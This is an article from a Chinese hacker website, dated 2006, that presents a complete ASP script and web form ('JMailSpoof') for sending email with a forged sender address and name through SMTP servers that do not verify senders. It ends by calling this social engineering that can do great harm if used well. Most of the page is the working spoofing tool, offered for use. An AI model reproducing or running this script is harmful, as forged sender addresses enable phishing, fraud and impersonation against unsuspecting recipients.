黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 电脑新手 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[组图]伪造发件人邮件地址
      ★★★★

伪造发件人邮件地址

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-8-31 9:14:39

写了一个利用Jmail组件发匿名邮件的ASP代码,前提是你的SMTP服务器没有验证发件人地址才是,很多虚拟主机的SMTP服务器就可以的。

代码如下:

 

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

 

<%if request("action")="send" then%>

<%

Dim strSubject,strEmail,strMailAdress,strSender,strContent,strFromer

strSubject = Request("title")

strContent = Request("content")

strSender = Request("Name")

strEmail = Request("to")

strMailAddress = Request("smtp")

strMailUser = Request("usr")

strMailPass = Request("pwd")

 

Set JMail = Server.CreateObject("JMail.Message")

JMail.Charset = "gb2312"

JMail.From = Request("From")

JMail.FromName = strSender

JMail.Subject =strSubject

JMail.MailServerUserName = strMailUser

JMail.MailServerPassword = strMailPass

JMail.Priority = 3

JMail.AddRecipient(strEmail)

JMail.Body = strContent

JMail.Send(strMailAddress)

%>

<Script>

alert('没报错就可能成功啦!');

</Script>

<%

else

%>

<style type="text/css">

<!--

body { margin-top: 0px;margin-bottom: 0px;}td {

font-size: 12px;

text-decoration: none;}--></style>

<title>JMailSpoof v0.1</title><table width="500" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#666666">

<tr><td height="40" bgcolor="#E3E3E3"><div align="center">JMailSpoof by lake2</div></td></tr>

<tr><td><table width="100%" height="392" border="0" align="center" cellpadding="1" cellspacing="1">

<form name="form" method="post" action="?action=send">

<tr bgcolor="#FFFFFF">

  <td align="center"><div align="left">SMTP服务器*</div></td>

  <td><input name="smtp" type="text" id="smtp" size="22"></td>

</tr>

<tr bgcolor="#FFFFFF">

  <td align="center"><div align="left">用户名*</div></td>

  <td><input name="usr" type="text" id="usr" size="22"></td>

</tr>

<tr bgcolor="#FFFFFF">

  <td align="center"><div align="left">密码*</div></td>

  <td><input name="pwd" type="text" id="pwd" size="22"></td>

</tr>

<tr bgcolor="#FFFFFF">

  <td align="center"><div align="left">收件人邮箱*</div></td>

  <td><input name="to" type="text" id="to" size="22"></td>

</tr>

<tr bgcolor="#FFFFFF">

  <td align="center"><div align="left">发件人邮箱*</div></td>

  <td><input name="from" type="text" id="from" size="22">

  </td>

</tr>

<tr bgcolor="#FFFFFF">

<td width="110" align="center"><div align="left">邮件主题*</div></td>

<td width="288"><input name="title" type="text" id="title" size="22">

 

</td>

</tr>

<tr bgcolor="#FFFFFF">

  <td height="15" align="center"><div align="left">发件人姓名*</div></td>

  <td>

    <input name="name" type="text" id="name" size="22"></td>

</tr>

<tr bgcolor="#FFFFFF">

<td height="213" align="center"><div align="left">内容:*<br>

</div></td>

<td><textarea name="content" cols="50" rows="15"></textarea></td>

</tr>

<tr bgcolor="#FFFFFF">

  <td>&nbsp;</td>

  <td><input type="submit" name="Submit" value="提交"></td>

</tr>

</form></table></td>

</tr></table>

<%end if%>

 

试试效果先:

 

 

然后去邮箱看看:

 

 

呵呵,我们伪造了邮件地址,但是可以通过查看邮件头发现是邮件伪造的。

这就是传说中的社会工程学啦,用得好的话危害就大咯。

文章录入:cainiaowang    责任编辑:sygbox 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886